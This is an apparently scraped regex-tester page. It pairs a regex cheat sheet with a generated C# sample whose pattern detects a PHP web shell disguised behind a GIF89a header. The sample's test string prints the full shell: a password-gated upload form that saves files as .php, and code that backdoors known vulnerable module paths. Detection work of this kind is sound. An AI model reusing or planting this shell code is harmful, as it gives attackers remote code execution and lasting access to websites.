Regular Expressions 101

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An explanation of your regex will be automatically generated as you type.
Detailed match information will be displayed here automatically.
  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression
Processing...

Test String

Code Generator

Language

Generated Code

using System; using System.Text.RegularExpressions; public class Example { public static void Main() { string pattern = @"^(?:[[:^print:][:cntrl:]\s]|GIF89.{0,20})*<\?(?:php)?\s*echo\s*[""']privet\s*bot\s*by\s*bajatax\s*\&\&\s*xsam\-xado"; string input = @"gif89a <?php echo 'privet bot by bajatax && xsam-xadoo'.'<br>'.'uname:'.php_uname().'<br>'.$cwd = getcwd(); echo '<center> <form method=""post"" target=""_self"" enctype=""multipart/form-data""> <input type=""file"" size=""20"" name=""uploads"" /> <input type=""submit"" value=""upload"" /> <input type=""password"" name=""baja_xsam"" value=""sirt7wa""></form> </center></td></tr> </table><br>'; if (!empty ($_files['uploads']) and md5(md5(md5($_post[""baja_xsam""]))) == ""ddb0bfc94159c6ac960367ef994ae246"" ) { move_uploaded_file($_files['uploads']['tmp_name'],md5(time())."".php""); echo ""<b>uploaded !!!</b><br>name : "".md5(time())."".php"".""<br>size : "".$_files['uploads']['size'].""<br>type : "".$_files['uploads']['type']; } $path_exploit_payloads=array(""/modules/explorerpro/action.php"",""/modules/sampledatainstall/sampledatainstall-ajax.php"",""/modules/colorpictures/ajax/upload.php"",); foreach($path_exploit_payloads as $path_exploit_payload){ if(file_exists($path.$path_exploit_payload)){ $html="" ""; if(function_exists(""file_get_contents"")){ $html=file_get_contents($path.$path_exploit_payload); } if(!preg_match(""/hash_bajatax/i"",$html)){ $save=fopen($path.$path_exploit_payload,""w""); fwrite($save,'<?php if(md5(md5(md5($_post[""hash_bajatax""]==""7200c4e8bb32ac615efe537aa72d8667"")))) { ?> '.$html."" <?php } ?>""); fclose($save); } } } ?> "; RegexOptions options = RegexOptions.IgnoreCase | RegexOptions.Singleline; foreach (Match m in Regex.Matches(input, pattern, options)) { Console.WriteLine("'{0}' found at index {1}.", m.Value, m.Index); } } }

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for C#, please visit: https://msdn.microsoft.com/en-us/library/system.text.regularexpressions.regex(v=vs.110).aspx